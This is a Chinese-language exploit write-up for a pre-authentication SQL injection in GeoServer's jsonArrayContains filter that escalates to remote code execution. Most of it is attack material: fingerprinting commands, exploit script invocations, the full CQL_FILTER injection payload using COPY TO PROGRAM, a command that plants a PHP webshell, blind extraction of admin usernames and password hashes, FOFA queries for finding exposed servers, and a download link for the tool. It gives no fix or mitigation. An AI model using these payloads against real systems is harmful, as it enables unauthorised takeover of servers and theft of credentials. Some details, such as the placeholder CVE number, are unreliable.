GeoServer 零日SQL注入漏洞深度解析:从JSON数组查询到服务器完全接管

GeoServer 零日SQL注入漏洞深度解析:从JSON数组查询到服务器完全接管

_

漏洞简介

  • CVE-2026-XXX(GHSA-mqjf-5f49-2fjh)是 GeoServer(GeoTools)中的 Critical 级别预认证反射型 SQL 注入转 RCE 漏洞。该漏洞存在于 WFS(Web Feature Service)接口的 jsonArrayContains 函数中,核心问题是 GeoTools 的 FilterToSqlHelper.constructEquality 方法在处理 JSON 数组查询时,对第三个参数 expected 未做任何转义或参数绑定,直接通过 String.formatted() 拼接进 SQL 字符串。攻击者通过单引号闭合 JSONPath 字符串字面量,进而闭合函数调用、注入任意 SQL,并结合 PostgreSQL 的 COPY ... TO PROGRAM 实现远程代码执行。

  • 通过逆向分析漏洞利用链,攻击者无需任何身份认证即可向 GeoServer 实例发送恶意 WFS 请求,成功利用后可获得以下操作:读取/篡改后端 PostGIS 数据库全部数据、窃取管理员凭据、执行任意系统命令、完全接管 GeoServer 实例及后端数据库主机。

  • 该漏洞的影响链路:发现暴露的 GeoServer → 构造恶意 CQL_FILTER 注入 SQL → 堆叠查询执行任意命令 → 使用 COPY TO PROGRAM 实现 RCE → 接管应用服务器及后端数据库。

影响范围

项类别

详细内容

漏洞编号

GHSA-mqjf-5f49-2fjh

受影响产品

GeoServer (Open Source GIS)

受影响组件

GeoTools jsonArrayContains / CQL_FILTER 处理

受影响版本

2.24.x / 2.25.x / 2.26.x

漏洞类型

CWE-89 SQL 注入 / CWE-244 Heap Inspection(链条后续)

漏洞复现

  • 准备环境

项类别

详细内容

环境

Python 3.x + requests 库 / Docker Compose

目标版本

GeoServer 2.24.x ~ 2.26.x

前置条件

目标 GeoServer WFS 接口可网络访问,后端为 PostgreSQL/PostGIS

步骤 1:目标检测(被动识别)

检测目标是否运行存在漏洞的 GeoServer:

curl http://TARGET_IP:8080/geoserver/rest/about/version.json

成功响应示例:

```
{
  "version": "2.25.3",
  "fullVersion": "2.25.3",
  "database": "POSTGIS_SQLRT",
  ...
}
```

确认 WFS 接口可用:

curl "http://TARGET_IP:8080/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities"

步骤 2:SQL 注入验证(时间盲注)

使用 pg_sleep 验证是否存在注入点:

python3 exploit.py \
  --url http://TARGET_IP:8080/geoserver \
  --workspace topp \
  --layer test_json \
  --column data \
  --cmd "id" \
  --show-payload

若返回延迟响应,说明注入成功:

```
[+] Powered by 七度光 | www.qdg.tw
[*] Endpoint: http://TARGET_IP:8080/geoserver/topp/ows
[*] CQL_FILTER: jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'id' --')=true
[+] Response status: 400
[+] 400 error received - expected injection signal
```

步骤 3:远程命令执行(RCE via COPY TO PROGRAM)

在确认 PostgreSQL 具备超级用户权限后,直接执行系统命令:

python3 exploit.py \
  --url http://TARGET_IP:8080/geoserver \
  --workspace topp \
  --layer test_json \
  --column data \
  --cmd "whoami > /tmp/pwned.txt" \
  --show-payload

成功响应示例:

```
[+] Powered by 七度光 | www.qdg.tw
[*] Endpoint: http://TARGET_IP:8080/geoserver/topp/ows
[*] CQL_FILTER: jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true
[+] Response status: 400
[+] 400 error received - expected injection signal
[+] RCE achieved! Check /tmp/pwned.txt on the database host.
```

步骤 4:Webshell 上传

通过 RCE 在 Web 可访问目录写入 PHP/Python webshell:

python3 exploit.py \
  --url http://TARGET_IP:8080/geoserver \
  --workspace topp \
  --layer test_json \
  --column data \
  --cmd "echo '<?=system(\$_GET[\"q\"]);?>' > /var/www/html/shell.php" \
  --show-payload

成功后的访问方式:

http://TARGET_IP/shell.php?q=id

步骤 5:数据提取(盲注模式)

若数据库用户不具备 superuser 权限,可使用盲注模式提取数据:

# 查看当前数据库名
python3 jsonarraycontains_rce.py -i TARGET_IP -p 8080 -x

# 提取指定表的前10行数据
python3 jsonarraycontains_rce.py -i TARGET_IP -p 8080 -x admin_users -l 10

完整盲注输出示例:

```
[+] current_database = geoserver_data
[+] table[0] = admin_users
[+] table[1] = datastores
[+] table[2] = featuretypes
[+] columns: id, username, password, email
[+] row[0] = 1|admin|5f4dcc3b5aa765d61d8327deb882cf99|[email protected]
[+] row[1] = 2|operator|e99a18c428cb38d5f260853678922e03|[email protected]

============================================================
  EXTRACTED ADMIN RECORD
============================================================
  ID:            1
  Username:      admin
  Password Hash: 5f4dcc3b5aa765d61d8327deb882cf99
  Email:         [email protected]
============================================================
```

FOFA 语法

app="GeoServer"

或精确匹配 WFS 接口:

body="/geoserver/" && body="GetCapabilities"

利用工具下载

网盘

链接

mega

https://mega.nz/file/jCZ2EYrA#Bh9O_G7XKdCoQEURbc7ZnBNgnBV9j2MQPVl9dVgBGK8

WordPress 预认证XSS转RCE漏洞深度解析:从登录页到服务器接管 2026-08-18